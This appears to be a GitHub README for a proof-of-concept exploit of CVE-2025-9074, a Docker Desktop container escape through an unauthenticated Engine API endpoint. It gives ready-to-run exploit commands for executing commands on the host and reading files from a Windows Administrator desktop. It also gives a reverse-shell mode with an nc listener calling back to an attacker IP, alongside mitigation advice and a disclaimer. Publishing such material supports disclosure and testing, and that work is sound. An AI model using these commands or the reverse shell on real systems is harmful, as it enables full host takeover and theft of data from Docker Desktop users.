CVE-2025-9074: Docker Desktop Container Escape PoC

Proof of Concept exploit for CVE-2025-9074 - a critical container escape vulnerability in Docker Desktop that allows unauthenticated access to the Docker Engine API.

Vulnerability Overview

Technical Details

The vulnerability allows containers running on Docker Desktop to access the Docker Engine API at http://192.168.65.7:2375 without authentication. This occurs regardless of:

• Enhanced Container Isolation (ECI) settings
• "Expose daemon on tcp://localhost:2375 without TLS" configuration
• Any other security settings

Impact

• Windows (WSL backend): Full host takeover with administrative privileges
• macOS: Container manipulation and potential backdooring (limited by user prompts)
• Linux: Not vulnerable (uses Unix socket instead of TCP)

Root Cause

The Docker Engine API was exposed on a TCP socket accessible from within containers, allowing:

• Creating/deleting containers
• Mounting host filesystems
• Executing privileged commands
• Complete bypass of container isolation

Usage

Prerequisites

pip3 install requests

Command Execution Mode

# Execute a command on the host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "whoami"

# Read files from Windows host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "cat /hostfs/mnt/c/Users/Administrator/Desktop/root.txt"

# List users on Windows
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "ls -la /hostfs/mnt/c/Users"

Reverse Shell Mode

# Terminal 1: Set up listener
nc -lvnp 4444

# Terminal 2: Execute exploit
python3 exploit.py -u http://192.168.65.7:2375 -m reverse -l <YOUR_IP> -p 4444

# Once connected, host filesystem is at: /hostfs

From Inside a Container

# If you already have access to a container
curl http://192.168.65.7:2375/version

Attack Scenario

graph TD
    A[Malicious Container] -->|No Auth Required| B[Docker Engine API<br/>192.168.65.7:2375]
    B -->|Create Container| C[Privileged Container]
    C -->|Mount Host FS| D[Full Host Access]
    D -->|Read/Write| E[Compromise System]

Mitigation

Immediate Action Required

Update to Docker Desktop 4.44.3 or later immediately.

# Check your Docker Desktop version
docker --version

# Update Docker Desktop
# Windows: Download from https://desktop.docker.com/win/main/amd64/Docker%20Desktop%20Installer.exe
# macOS: Download from https://desktop.docker.com/mac/main/amd64/Docker.dmg

Workarounds (Temporary)

If immediate update is not possible:

1. Avoid running untrusted containers
2. Monitor network connections from containers
3. Implement network segmentation
4. Review all container images before deployment

References

• Docker Security Advisory
• NVD CVE-2025-9074
• Felix Boulet's Blog
• Philippe Dugré's Analysis
• GitHub Advisory

Disclaimer

This tool is provided for educational and authorized security testing purposes only.

• Only use against systems you own or have explicit permission to test
• Unauthorized access to computer systems is illegal
• The authors assume no liability for misuse of this software

Credits

• Vulnerability Discovery: Felix Boulet, Philippe Dugré
• PoC Development: Amanja Francisco
• Docker Security Team: For rapid response and patch

License

MIT License - See LICENSE file for details